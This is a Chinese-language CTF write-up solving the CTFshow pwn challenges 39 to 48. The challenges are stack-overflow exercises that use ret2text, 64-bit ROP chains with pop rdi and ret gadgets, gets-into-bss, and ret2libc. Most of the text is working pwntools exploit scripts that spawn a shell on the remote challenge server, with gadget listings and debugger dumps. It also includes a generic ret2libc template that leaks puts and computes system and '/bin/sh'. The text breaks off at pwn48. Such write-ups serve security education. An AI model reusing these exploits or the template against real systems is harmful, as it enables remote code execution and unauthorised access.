CTFshow pwn39~50

pwn39

一个32位程序


Arch:       i386-32-little
RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x8048000)
Stripped:   No

main函数的内容如下:


int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  puts(asc_804876C);
  puts(asc_80487E0);
  puts(asc_804885C);
  puts(asc_80488E8);
  puts(asc_8048978);
  puts(asc_80489FC);
  puts(asc_8048A90);
  puts("    * *************************************                           ");
  puts(aClassifyCtfsho);
  puts("    * Type  : Stack_Overflow                                          ");
  puts("    * Site  : https://ctf.show/                                       ");
  puts("    * Hint  : It has system and '/bin/sh',but they don't work together");
  puts("    * *************************************                           ");
  puts("Just easy ret2text&&32bit");
  ctfshow(&argc);
  puts("
Exit");
  return 0;
}

Hint表示system 和 '/bin/sh’并不同时起效

但是这里和之前(pwn37、pwn38)不一样:

在标准输出上输出路径 ‘/bin/sh’;

调用 system()函数,该函数用于执行系统命令,但这里只是输出提示信息 ‘You find me?’。

而前面我们遇到的直接获取 shell 的是:system(“/bin/sh”)

根据题目描述:32位的 system(); “/bin/sh”

system() 与 “/bin/sh” 在程序中都存在,但这里将系统函数与参数分开了,我们需要手动构造。

再回到对于栈溢出的判断

有明说是ret2text

去text段翻找

没找到什么有效内容

看到函数栏的system函数

直接反照看到system函数的位置

即:0x080483A0

又倒回去找能栈溢出的原因


ssize_t ctfshow()
{
  _BYTE buf[14]; // [esp+6h] [ebp-12h] BYREF

  return read(0, buf, 0x32u);

在ctfshow这个函数中,存在这么个栈溢出的漏洞

漏洞产生的原因在于

这里声明了一个长度为 14 的字符数组 buf,数组大小为14字节,用来存储用户输入的数据,调用 read() 函数,从文件描述符(在这里是标准输入,文件描述符0)读取数据。read()函数的第一个参数是文件描述符,第二个参数是用来接收数据的缓冲区,第三个参数是要读取的字节数。

read() 函数试图从标准输入读取最多 0x32(十进制为50)个字节的数据到 buf 数组中,然后返回实际读取的字节数。但是,由于 buf 数组的大小只有 14 字节,这就可能导致溢出。

好了,那么对于这里需要进行填充的字符数就该是

0x12+程序中栈底的大小

因为这是个32位的程序

所以buf到栈底的位置还要再加4

所以要填充的字节数就是:

0x12+4

那么payload的一角就明晰了

结合上面的分析

可以得到

payload的构成大致是

填充字节+调用system函数+加写入/bin/sh字段

system函数的位置已知

去找/bin/sh

发现目标内容

至此,所有必备要素全部集齐

exp:


from pwn import *
sh=remote('pwn.challenge.ctf.show', 28178)
payload = b'a'*(0x12+4) + p32(0x80483A0) + p32(0x8048750)
sh.sendline(payload)
sh.interactive()

发现并不能直接打通

说明仍然存在问题

实际上

payload 格式:

payload = b’a’*(0x12+4) + p32(system) + p32(0) + p32(bin_sh)

首先在溢出后填入 system 函数的地址,这个地址将覆盖程序返回地址,以便控制程序流程。
此外我们需要考虑函数调用栈的结构:system函数的第一个参数通常是一个指向要执行的命令的字符串,如 /bin/sh,需要将这个字符串的地址作为参数传递给 system 函数,system 函数的第二个参数通常是一个指向空值的指针,表示没有额外的参数。在 payload 中,可以使用任意值,比如 0 ,使用 p32() 函数将地址转换为4字节的字符串,也可以用其他任意 4 字节字符,如 ‘aaaa’,最后再加上 bin/sh 的地址,我们就能够利用缓冲区溢出漏洞成功调用 system(“/bin/sh”),从而获取到所需的 shell。

payload 详细解释:

b’a’ * (0x12 + 4):这部分是填充,填充的目的是使得输入的长度超过了原本的缓冲区大小,触发缓冲区溢出。
p32(system):这部分是 system 函数的地址,在利用缓冲区溢出漏洞时,重要的一步是覆盖返回地址,使得程序返回时跳转到 system 函数。
p32(0):这部分是 system 函数的第二个参数,在大多数情况下,system 函数的第二个参数应该是一个指向空值的指针,表示没有额外的参数,这里使用了0,表示一个空指针。
p32(bin_sh):这部分是 /bin/sh 字符串的地址,作为 system 函数的第一个参数,/bin/sh 是一个用于启动 shell 的路径,在利用缓冲区溢出漏洞时,我们可以使用这个参数来告诉 system 函数要执行的命令。

所以

payload修改后即为正确的exp

即:


from pwn import *
sh=remote('pwn.challenge.ctf.show', 28178)
payload = b'a'*(0x12+4) + p32(0x80483A0) + p32(0) + p32(0x8048750)
sh.sendline(payload)
sh.interactive()

拿到flag

pwn40


from pwn import *
io=remote("pwn.challenge.ctf.show",28267)
payload = b'a'*(0xA+8) + p64(0x4007e3) + p64(0x400808) + p64(0x4004fe) + p64(0x400520)
io.sendline(payload)
io.interactive()

pwn41

已知32位

就不开checksec

main函数反编译一遍看到


int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  logo(&argc);
  ctfshow();
  puts("
Exit");
  return 0;
}

调用ctfshow函数

看该函数

拿到buf到栈底的长度


ssize_t ctfshow()
{
  _BYTE buf[14]; // [esp+6h] [ebp-12h] BYREF

  return read(0, buf, 0x32u);
}

即:0x12+4

溢出字节数get

现在就要找到常规的提权函数

找不到关键的bin/sh

32位的 system(); 但是没”/bin/sh” ,好像有其他的可以替代

实际上,_system+“sh”在环境变量配置正确的时候和 _system+”/bin/sh”是等价的

而刚好能在其中找到sh字眼

就在useful函数中能看到sh

那么只需要确认“sh”的位置即可

双击useful函数中的“sh”直接就跳转了

拿到“sh”的位置

080487BA

再找到个_system函数地址就好

而hint函数中,就调用了system函数

那么直接用这个里的system就可以提权成功

exp:


from pwn import *
sh=remote("pwn.challenge.ctf.show",28129)
system=0x080483D0  #483D0是plt表里的system,如果换用text段的system就不需要再发送'aaaa'
bin=0x080487BA
payload=b'a'*(0x12+4)+p32(system)+b'aaaa'+p32(bin)
sh.sendline(payload)
sh.interactive()

pwn42

64位

和上面类似的操作

main函数查到buf到栈底的位置

0xA+8

找到sh位置

0400872

找到system函数位置

0400560

由于是64位程序

所以又出现pwn40的一个考点

64位的传参和32位不同

64位会先传入寄存器,共八个

而传完才会传入栈中

所以需要先拿到第一个参数寄存器rdi的位置

由于需要将字符”sh”返回给调用函数

所以还需要找到ret指令的位置

所以使用ROPgadget

通过指令


ROPgadget --binary pwn42

拿到响应


0x00000000004005c9 : add ah, dh ; nop dword ptr [rax + rax] ; ret
0x0000000000400597 : add al, 0 ; add byte ptr [rax], al ; jmp 0x400540
0x0000000000400577 : add al, byte ptr [rax] ; add byte ptr [rax], al ; jmp 0x400540
0x0000000000400e6f : add al, dl ; idiv bh ; jmp qword ptr [rax]
0x0000000000400eb7 : add bh, ch ; idiv edi ; call qword ptr [rdi]
0x0000000000400e97 : add bh, ch ; idiv edi ; jmp qword ptr [rax]
0x00000000004005cf : add bl, dh ; ret
0x0000000000400ef3 : add byte ptr [rax - 0x22000000], bh ; idiv edi ; jmp qword ptr [rbx]
0x0000000000400e6d : add byte ptr [rax], al ; add al, dl ; idiv bh ; jmp qword ptr [rax]
0x0000000000400eb5 : add byte ptr [rax], al ; add bh, ch ; idiv edi ; call qword ptr [rdi]
0x0000000000400e95 : add byte ptr [rax], al ; add bh, ch ; idiv edi ; jmp qword ptr [rax]
0x000000000040084d : add byte ptr [rax], al ; add bl, dh ; ret
0x000000000040084b : add byte ptr [rax], al ; add byte ptr [rax], al ; add bl, dh ; ret
0x0000000000400557 : add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x400540
0x00000000004006b8 : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret
0x000000000040067c : add byte ptr [rax], al ; add byte ptr [rax], al ; push rbp ; mov rbp, rsp ; pop rbp ; jmp 0x400610
0x000000000040084c : add byte ptr [rax], al ; add byte ptr [rax], al ; ret
0x000000000040067d : add byte ptr [rax], al ; add byte ptr [rbp + 0x48], dl ; mov ebp, esp ; pop rbp ; jmp 0x400610
0x0000000000400ef5 : add byte ptr [rax], al ; add dh, bl ; idiv edi ; jmp qword ptr [rbx]
0x0000000000400559 : add byte ptr [rax], al ; jmp 0x400540
0x0000000000400eb2 : add byte ptr [rax], al ; js 0x400eb6 ; add byte ptr [rax], al ; out dx, eax ; idiv edi ; call qword ptr [rdi]
0x0000000000400ef2 : add byte ptr [rax], al ; mov eax, 0xde000000 ; idiv edi ; jmp qword ptr [rbx]
0x0000000000400eb6 : add byte ptr [rax], al ; out dx, eax ; idiv edi ; call qword ptr [rdi]
0x0000000000400e96 : add byte ptr [rax], al ; out dx, eax ; idiv edi ; jmp qword ptr [rax]
0x0000000000400e92 : add byte ptr [rax], al ; pop rax ; add byte ptr [rax], al ; add bh, ch ; idiv edi ; jmp qword ptr [rax]
0x0000000000400606 : add byte ptr [rax], al ; pop rbp ; ret
0x000000000040067e : add byte ptr [rax], al ; push rbp ; mov rbp, rsp ; pop rbp ; jmp 0x400610
0x00000000004005ce : add byte ptr [rax], al ; ret
0x0000000000400eb3 : add byte ptr [rax], bh ; add byte ptr [rax], al ; out dx, eax ; idiv edi ; call qword ptr [rdi]
0x0000000000400e93 : add byte ptr [rax], bl ; add byte ptr [rax], al ; out dx, eax ; idiv edi ; jmp qword ptr [rax]
0x0000000000400e6b : add byte ptr [rax], dh ; add byte ptr [rax], al ; add al, dl ; idiv bh ; jmp qword ptr [rax]
0x0000000000400605 : add byte ptr [rax], r8b ; pop rbp ; ret
0x00000000004005cd : add byte ptr [rax], r8b ; ret
0x000000000040067f : add byte ptr [rbp + 0x48], dl ; mov ebp, esp ; pop rbp ; jmp 0x400610
0x0000000000400667 : add byte ptr [rcx], al ; pop rbp ; ret
0x0000000000400ef7 : add dh, bl ; idiv edi ; jmp qword ptr [rbx]
0x0000000000400567 : add dword ptr [rax], eax ; add byte ptr [rax], al ; jmp 0x400540
0x0000000000400668 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret
0x0000000000400587 : add eax, dword ptr [rax] ; add byte ptr [rax], al ; jmp 0x400540
0x000000000040053b : add esp, 8 ; ret
0x000000000040053a : add rsp, 8 ; ret
0x00000000004005fe : and byte ptr [rax], ah ; jmp rax
0x00000000004005c8 : and byte ptr [rax], al ; hlt ; nop dword ptr [rax + rax] ; ret
0x0000000000400554 : and byte ptr [rax], al ; push 0 ; jmp 0x400540
0x0000000000400564 : and byte ptr [rax], al ; push 1 ; jmp 0x400540
0x0000000000400574 : and byte ptr [rax], al ; push 2 ; jmp 0x400540
0x0000000000400584 : and byte ptr [rax], al ; push 3 ; jmp 0x400540
0x0000000000400594 : and byte ptr [rax], al ; push 4 ; jmp 0x400540
0x0000000000400531 : and byte ptr [rax], al ; test rax, rax ; je 0x40053a ; call rax
0x00000000004006d2 : call qword ptr [rax + 0x4855c35d]
0x0000000000400291 : call qword ptr [rax - 0x4b6cb9fd]
0x0000000000400ebb : call qword ptr [rdi]
0x0000000000400538 : call rax
0x00000000004006a4 : dec ecx ; ret
0x000000000040082c : fmul qword ptr [rax - 0x7d] ; ret
0x00000000004005ca : hlt ; nop dword ptr [rax + rax] ; ret
0x0000000000400e71 : idiv bh ; jmp qword ptr [rax]
0x0000000000400eb9 : idiv edi ; call qword ptr [rdi]
0x0000000000400e99 : idiv edi ; jmp qword ptr [rax]
0x0000000000400ef9 : idiv edi ; jmp qword ptr [rbx]
0x0000000000400683 : in eax, 0x5d ; jmp 0x400610
0x0000000000400c9c : in eax, 0x85 ; movsd dword ptr [rdi], dword ptr [rsi] ; jmp 0x2060b53b
0x0000000000400536 : je 0x40053a ; call rax
0x00000000004005f9 : je 0x400608 ; pop rbp ; mov edi, 0x602050 ; jmp rax
0x000000000040063b : je 0x400648 ; pop rbp ; mov edi, 0x602050 ; jmp rax
0x000000000040028f : jle 0x400214 ; call qword ptr [rax - 0x4b6cb9fd]
0x0000000000400c9f : jmp 0x2060b53b
0x000000000040055b : jmp 0x400540
0x0000000000400685 : jmp 0x400610
0x0000000000400dd3 : jmp qword ptr [rax - 0x2d000000]
0x0000000000400e9b : jmp qword ptr [rax]
0x0000000000400f3b : jmp qword ptr [rbp]
0x0000000000400efb : jmp qword ptr [rbx]
0x0000000000400f1b : jmp qword ptr [rdi]
0x0000000000400601 : jmp rax
0x0000000000400eb4 : js 0x400eb6 ; add byte ptr [rax], al ; out dx, eax ; idiv edi ; call qword ptr [rdi]
0x00000000004006a5 : leave ; ret
0x0000000000400662 : mov byte ptr [rip + 0x2019ff], 1 ; pop rbp ; ret
0x0000000000400572 : mov dl, 0x1a ; and byte ptr [rax], al ; push 2 ; jmp 0x400540
0x00000000004006b7 : mov eax, 0 ; pop rbp ; ret
0x0000000000400ef4 : mov eax, 0xde000000 ; idiv edi ; jmp qword ptr [rbx]
0x0000000000400682 : mov ebp, esp ; pop rbp ; jmp 0x400610
0x00000000004005fc : mov edi, 0x602050 ; jmp rax
0x0000000000400562 : mov edx, 0x6800201a ; add dword ptr [rax], eax ; add byte ptr [rax], al ; jmp 0x400540
0x0000000000400681 : mov rbp, rsp ; pop rbp ; jmp 0x400610
0x0000000000400592 : movabs byte ptr [0x46800201a], al ; jmp 0x400540
0x0000000000400c9e : movsd dword ptr [rdi], dword ptr [rsi] ; jmp 0x2060b53b
0x00000000004006d3 : nop ; pop rbp ; ret
0x0000000000400603 : nop dword ptr [rax + rax] ; pop rbp ; ret
0x00000000004005cb : nop dword ptr [rax + rax] ; ret
0x0000000000400645 : nop dword ptr [rax] ; pop rbp ; ret
0x000000000040063c : or ebx, dword ptr [rbp - 0x41] ; push rax ; and byte ptr [rax], ah ; jmp rax
0x0000000000400eb8 : out dx, eax ; idiv edi ; call qword ptr [rdi]
0x0000000000400e98 : out dx, eax ; idiv edi ; jmp qword ptr [rax]
0x000000000040083c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040083e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400840 : pop r14 ; pop r15 ; ret
0x0000000000400842 : pop r15 ; ret
0x0000000000400e94 : pop rax ; add byte ptr [rax], al ; add bh, ch ; idiv edi ; jmp qword ptr [rax]
0x0000000000400684 : pop rbp ; jmp 0x400610
0x00000000004005fb : pop rbp ; mov edi, 0x602050 ; jmp rax
0x000000000040083b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040083f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400608 : pop rbp ; ret
0x0000000000400843 : pop rdi ; ret
0x0000000000400841 : pop rsi ; pop r15 ; ret
0x000000000040083d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400556 : push 0 ; jmp 0x400540
0x0000000000400566 : push 1 ; jmp 0x400540
0x0000000000400576 : push 2 ; jmp 0x400540
0x0000000000400586 : push 3 ; jmp 0x400540
0x0000000000400596 : push 4 ; jmp 0x400540
0x00000000004005fd : push rax ; and byte ptr [rax], ah ; jmp rax
0x0000000000400680 : push rbp ; mov rbp, rsp ; pop rbp ; jmp 0x400610
0x000000000040053e : ret
0x0000000000400542 : ret 0x201a
0x00000000004005f8 : sal byte ptr [rbp + rcx + 0x5d], 0xbf ; push rax ; and byte ptr [rax], ah ; jmp rax
0x000000000040063a : sal byte ptr [rbx + rcx + 0x5d], 0xbf ; push rax ; and byte ptr [rax], ah ; jmp rax
0x0000000000400535 : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x0000000000400665 : sbb dword ptr [rax], esp ; add byte ptr [rcx], al ; pop rbp ; ret
0x0000000000400c99 : sub eax, 0x85e5202d ; movsd dword ptr [rdi], dword ptr [rsi] ; jmp 0x2060b53b
0x0000000000400c9a : sub eax, 0xa585e520 ; jmp 0x2060b53b
0x0000000000400855 : sub esp, 8 ; add rsp, 8 ; ret
0x0000000000400854 : sub rsp, 8 ; add rsp, 8 ; ret
0x000000000040084a : test byte ptr [rax], al ; add byte ptr [rax], al ; add byte ptr [rax], al ; ret
0x0000000000400534 : test eax, eax ; je 0x40053a ; call rax
0x0000000000400533 : test rax, rax ; je 0x40053a ; call rax

0x0000000000400843 : pop rdi ; ret

这里获取到rdi寄存器位置

(rdi寄存器的位置可以换用另外一个指令来获取位置)


ROPgadget --binary pwn42 --only "pop|ret"|grep rdi

能更高效的筛出pop_rdi的位置

0x000000000040053e : ret

这里获取到ret指令位置

至此,全部要素集齐

payload格式为:b’a’*(0xA+8)+p64(pop_rdi)+p64(sh)+p64(ret)+p64(system)

exp:


from pwn import *
u=remote("pwn.challenge.ctf.show",28237)
pop_rdi=0x0000000000400843
sh=0x0400872
ret=0x000000000040053e
system=0x0400560
payload=b'a'*(0xA+8)+p64(pop_rdi)+p64(sh)+p64(ret)+p64(system)
u.sendline(payload)
u.interactive()

pwn43

32位

进main函数

发现溢出长度

0x6C+4

进hint函数,找到system

找到system的plt位置

08048450

找不到/bin/sh

只能自己构造

唯一的难点就是这里了

先用pwngdb调试

命令行输入

gdb pwn43

给main函数下断点

break main

然后开run

会拿到这个结果


Breakpoint 1, 0x080487bd in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────────────
 EAX  0xf7faddd8 (environ) —▸ 0xffffd00c —▸ 0xffffd211 ◂— 'CLUTTER_IM_MODULE=xim'
 EBX  0x0
 ECX  0xffffcf70 ◂— 0x1
 EDX  0xffffcf94 ◂— 0x0
 EDI  0x0
 ESI  0xf7fac000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d8c
 EBP  0xffffcf58 ◂— 0x0
 ESP  0xffffcf54 —▸ 0xffffcf70 ◂— 0x1
 EIP  0x80487bd (main+14) ◂— sub    esp, 4
─────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────
 ► 0x80487bd <main+14>                    sub    esp, 4
    ↓
   0x80487e7 <__x86.get_pc_thunk.ax>      mov    eax, dword ptr [esp]
   0x80487ea <__x86.get_pc_thunk.ax+3>    ret    
    ↓
   0x80487c5 <main+22>                    add    eax, 0x283b
   0x80487ca <main+27>                    call   init <init>

   0x80487cf <main+32>                    call   logo <logo>

   0x80487d4 <main+37>                    call   ctfshow <ctfshow>

   0x80487d9 <main+42>                    mov    eax, 0
   0x80487de <main+47>                    add    esp, 4
   0x80487e1 <main+50>                    pop    ecx
   0x80487e2 <main+51>                    pop    ebp
─────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────
00:0000│ esp  0xffffcf54 —▸ 0xffffcf70 ◂— 0x1
01:0004│ ebp  0xffffcf58 ◂— 0x0
02:0008│      0xffffcf5c —▸ 0xf7decfa1 (__libc_start_main+241) ◂— add    esp, 0x10
03:000c│      0xffffcf60 —▸ 0xf7fac000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d8c
... ↓
05:0014│      0xffffcf68 ◂— 0x0
06:0018│      0xffffcf6c —▸ 0xf7decfa1 (__libc_start_main+241) ◂— add    esp, 0x10
07:001c│ ecx  0xffffcf70 ◂— 0x1
───────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────

再用vmmap查内存段的权限信息

得到


pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
 0x8048000  0x8049000 r-xp     1000 0      /home/ctfshow/Desktop/xd/pwn43
 0x804a000  0x804b000 r--p     1000 1000   /home/ctfshow/Desktop/xd/pwn43
 0x804b000  0x804c000 rw-p     1000 2000   /home/ctfshow/Desktop/xd/pwn43
0xf7dd4000 0xf7fa9000 r-xp   1d5000 0      /lib/i386-linux-gnu/libc-2.27.so
0xf7fa9000 0xf7faa000 ---p     1000 1d5000 /lib/i386-linux-gnu/libc-2.27.so
0xf7faa000 0xf7fac000 r--p     2000 1d5000 /lib/i386-linux-gnu/libc-2.27.so
0xf7fac000 0xf7fad000 rw-p     1000 1d7000 /lib/i386-linux-gnu/libc-2.27.so
0xf7fad000 0xf7fb0000 rw-p     3000 0      
0xf7fcf000 0xf7fd1000 rw-p     2000 0      
0xf7fd1000 0xf7fd4000 r--p     3000 0      [vvar]
0xf7fd4000 0xf7fd6000 r-xp     2000 0      [vdso]
0xf7fd6000 0xf7ffc000 r-xp    26000 0      /lib/i386-linux-gnu/ld-2.27.so
0xf7ffc000 0xf7ffd000 r--p     1000 25000  /lib/i386-linux-gnu/ld-2.27.so
0xf7ffd000 0xf7ffe000 rw-p     1000 26000  /lib/i386-linux-gnu/ld-2.27.so
0xfffdd000 0xffffe000 rw-p    21000 0      [stack]

-p 标志表示内存区域的权限,它由四个字符组成,每个字符分别代表一个权限:

r:可读(Readable)
w:可写(Writable)
x:可执行(Executable)
s:共享(Shared)

0x804b000 0x804c000 rw-p 1000 2000 /home/ctfshow/Desktop/xd/pwn43

这里就是可以读写的

在这个区间就能找到buf2

这里就可以作为我们构造的/bin/sh的所在

buf2的位置为

0804B060

那么我们就只差个输入函数的位置

实际上,细看ctfshow这个函数

里面有用到一个输入函数

gets函数

找到gets函数的位置

08048420

那么payload的构造就出来了

payload=b’a’*(0x6C+4)+p32(gets)+p32(system)+p32(buf2)+p32(buf2)

payload里的两个buf2分别作为gets函数和system函数的参数

具体原因参考大佬文

关于这个 payload 的详细解释:

在函数调用中,参数会按照一定的顺序压入栈中,然后函数会依次读取这些参数。

b’a’*offset:这部分是填充数据,长度为 offset,目的是为了覆盖函数的返回地址,并确保我们能够控制程序的执行流程。

p32(gets_addr):这是 gets() 函数的地址,我们将覆盖函数返回地址为 gets() 函数的地址,这样在程序返回时会跳转到 gets() 函数执行,我们就可以利用 gets() 函数从输入中获取数据。 p32(system_addr):这是 system() 函数的地址,我们将覆盖 gets() 函数的返回地址为 system() 函数的地址,这样在 gets() 函数执行完毕后,程序会继续执行 system() 函数。

而后面的两个 p32(buf2_addr) 分别作为 gets 函数与 system 函数的参数

第一个参数是用 gets() 函数读取的数据,也就是我们要写的 buf2 的地址(写入后 buf2 的地址也就是 “/bin/sh” 字符串的地址);
第二个参数也是 “/bin/sh” 字符串的地址,因为 system() 函数会使用这个地址作为命令参数

原文链接:https://blog.csdn.net/Myon5/article/details/138167444

所以exp:


from pwn import *
u=remote("pwn.challenge.ctf.show",28166)
gets=0x08048420
system=0x08048450
buf2=0x0804B060
payload=b'a'*(0x6C+4)+p32(gets)+p32(system)+p32(buf2)+p32(buf2)
u.sendline(payload)
u.sendline("/bin/sh")
u.interactive()

pwn44

64位

ctfshow函数中,拿到溢出字符长度

0xA+8

找到gets函数

即输入函数,能手动传入”/bin/sh”的函数


0x00400530

pwngdb调试

得到


pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
          0x400000           0x401000 r-xp     1000 0      /home/ctfshow/Desktop/xd/pwn44
          0x601000           0x602000 r--p     1000 1000   /home/ctfshow/Desktop/xd/pwn44
          0x602000           0x603000 rw-p     1000 2000   /home/ctfshow/Desktop/xd/pwn44
    0x7ffff79e2000     0x7ffff7bc9000 r-xp   1e7000 0      /lib/x86_64-linux-gnu/libc-2.27.so
    0x7ffff7bc9000     0x7ffff7dc9000 ---p   200000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7ffff7dc9000     0x7ffff7dcd000 r--p     4000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7ffff7dcd000     0x7ffff7dcf000 rw-p     2000 1eb000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7ffff7dcf000     0x7ffff7dd3000 rw-p     4000 0      
    0x7ffff7dd3000     0x7ffff7dfc000 r-xp    29000 0      /lib/x86_64-linux-gnu/ld-2.27.so
    0x7ffff7fd6000     0x7ffff7fd8000 rw-p     2000 0      
    0x7ffff7ff7000     0x7ffff7ffa000 r--p     3000 0      [vvar]
    0x7ffff7ffa000     0x7ffff7ffc000 r-xp     2000 0      [vdso]
    0x7ffff7ffc000     0x7ffff7ffd000 r--p     1000 29000  /lib/x86_64-linux-gnu/ld-2.27.so
    0x7ffff7ffd000     0x7ffff7ffe000 rw-p     1000 2a000  /lib/x86_64-linux-gnu/ld-2.27.so
    0x7ffff7ffe000     0x7ffff7fff000 rw-p     1000 0      
    0x7ffffffde000     0x7ffffffff000 rw-p    21000 0      [stack]
0xffffffffff600000 0xffffffffff601000 --xp     1000 0      [vsyscall

去翻0x602000 0x603000 rw-p 1000 2000 /home/ctfshow/Desktop/xd/pwn44

找到buf2位置


0x00602080

64位程序

所以需要得知ret和rdi的位置

ROPgadget指令

拿到rdi位置

0x00000000004007f3 : pop rdi ; ret

拿到ret位置

0x00000000004004fe : ret

现在就只需要找到system函数即可

在hint函数中拿到

0x00400520

集齐所有要素,exp:


from pwn import *
u=remote("pwn.challenge.ctf.show",28132)
pop_rdi=0x00000000004007f3
ret=0x00000000004004fe
system=0x00400520
gets=0x00400530
buf2=0x00602080
payload=b'a'*(0xA+8)+p64(pop_rdi)+p64(buf2)+p64(ret)+p64(gets)+p64(pop_rdi)+p64(buf2)+p64(ret)+p64(system)
u.sendline(payload)
u.sendline("/bin/sh")
u.interactive()

pwn45

ctfshow的第一道ret2libc

借用夏师傅博客的板子(再从其他佬的博客那补了点注释


from pwn import *
from LibcSearcher import *

io = remote('', )
# io = process("")
elf = ELF('')
# libc= ELF('libc.so.6')
# 加载ELF(可执行和可链接格式)二进制文件到elf对象中,使我们能够轻松访问符号、地址和段
main_add =
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

print("Puts_got: ", hex(puts_got))
print("Puts_plt: ", hex(puts_plt))

offset =

payload1 = b'a' * (offset + 4) + p32(puts_plt) + p32(main_add) + p32(puts_got)
io.sendlineafter(b'', payload1)
puts_addr = u32(io.recvuntil(b'xf7')[-4:])     
# 接收数据,直到遇到字节xf7(在32位系统中,很多共享库(如libc)的地址高字节是xf7)
# 取接收到的数据的最后 4 个字节,因为 puts 函数的地址是 32 位(4 个字节)
# 泄露 puts 函数在 GOT 表中的实际地址
print("Puts_addr: ", hex(puts_addr))

libc = LibcSearcher('puts', puts_addr)

libc_base = puts_addr - libc.dump('puts')
system_add = libc_base + libc.dump('system')
bin_sh_add = libc_base + libc.dump('str_bin_sh')

# libc_base = puts_addr - libc.symbols['puts']
# system_add = libc_base + libc.symbols['system']
# bin_sh_add = libc_base + next(libc.search(b'/bin/sh'))

payload2 = b'a' * (offset + 4) + p32(system_add) + p32(0x0) + p32(bin_sh_add)
# 0x0作为占位符填充返回地址的后续字节,以确保返回地址被正确覆盖
io.sendlineafter(b'', payload2)

io.interactive()

填写板子

exp:


from pwn import *
from LibcSearcher import *

io = remote('pwn.challenge.ctf.show',28269)
# io = process("")
elf = ELF('./pwn45')
# libc= ELF('libc.so.6')

main_add =0x0804866D
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

print("Puts_got: ", hex(puts_got))
print("Puts_plt: ", hex(puts_plt))

offset =0x6B

payload1 = b'a' * (offset + 4) + p32(puts_plt) + p32(main_add) + p32(puts_got)
io.sendlineafter(b'O.o?', payload1)
puts_addr = u32(io.recvuntil(b'xf7')[-4:])
print("Puts_addr: ", hex(puts_addr))

libc = LibcSearcher('puts', puts_addr)

libc_base = puts_addr - libc.dump('puts')
system_add = libc_base + libc.dump('system')
bin_sh_add = libc_base + libc.dump('str_bin_sh')

# libc_base = puts_addr - libc.symbols['puts']
# system_add = libc_base + libc.symbols['system']
# bin_sh_add = libc_base + next(libc.search(b'/bin/sh'))

payload2 = b'a' * (offset + 4) + p32(system_add) + p32(0x0) + p32(bin_sh_add)
io.sendlineafter(b'', payload2)

io.interactive()

拿到flag

pwn46


from pwn import *
from LibcSearcher import *

io = remote('pwn.challenge.ctf.show',28253)
# io=process("./pwn")
elf = ELF('./pwn46')
# libc= ELF(elf.libc.path)

ret_add =0x00000000004004fe
pop_rdi =0x0000000000400803
main_add =0x000000000040073E
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

print("Puts_got: ",hex(puts_got))
print("Puts_plt: ",hex(puts_plt))

offset=0x70

payload1 = b'a' * (offset+8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_add)
io.sendlineafter(b'O.o?', payload1)
puts_addr = u64(io.recvuntil(b'x7f')[-6:].ljust(8,b'x00'))
print("Puts_addr: ",hex(puts_addr))

libc = LibcSearcher('puts',puts_addr)   # libc6_2.27-0ubuntu2_amd64

libc_base = puts_addr - libc.dump('puts')
system_add = libc_base + libc.dump('system')
bin_sh_add = libc_base + libc.dump('str_bin_sh')

# libc_base = puts_addr - libc.symbols['puts']
# system_add = libc_base + libc.symbols['system']
# bin_sh_add = libc_base + next(libc.search(b'/bin/sh'))

payload2 = b'a' * (offset+8) + p64(ret_add) + p64(pop_rdi) + p64(bin_sh_add) + p64(system_add)

io.sendlineafter(b'O.o?', payload2)

io.interactive()

64位,在32位的基础上补rdi补ret改offset改main函数地址就好了

pwn47

根据32位的板子改

改完即为完整exp:


from pwn import *
from LibcSearcher import *

io = remote('pwn.challenge.ctf.show',28169 )
# io = process("")
elf = ELF('./pwn47')
# libc= ELF('libc.so.6')

main_add =0x080486B9
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

print("Puts_got: ", hex(puts_got))
print("Puts_plt: ", hex(puts_plt))

offset =0x9C

payload1 = b'a' * (offset + 4) + p32(puts_plt) + p32(main_add) + p32(puts_got)
io.sendlineafter(b'time:', payload1)
puts_addr = u32(io.recvuntil(b'xf7')[-4:])
print("Puts_addr: ", hex(puts_addr))

libc = LibcSearcher('puts', puts_addr)

libc_base = puts_addr - libc.dump('puts')
system_add = libc_base + libc.dump('system')
bin_sh_add = libc_base + libc.dump('str_bin_sh')

# libc_base = puts_addr - libc.symbols['puts']
# system_add = libc_base + libc.symbols['system']
# bin_sh_add = libc_base + next(libc.search(b'/bin/sh'))

payload2 = b'a' * (offset + 4) + p32(system_add) + p32(0) + p32(bin_sh_add)
io.sendlineafter(b'time:', payload2)

io.interactive()

pwn48

同样32位填板子,填完就拿到flag

exp:


from pwn import *
from LibcSearcher import *

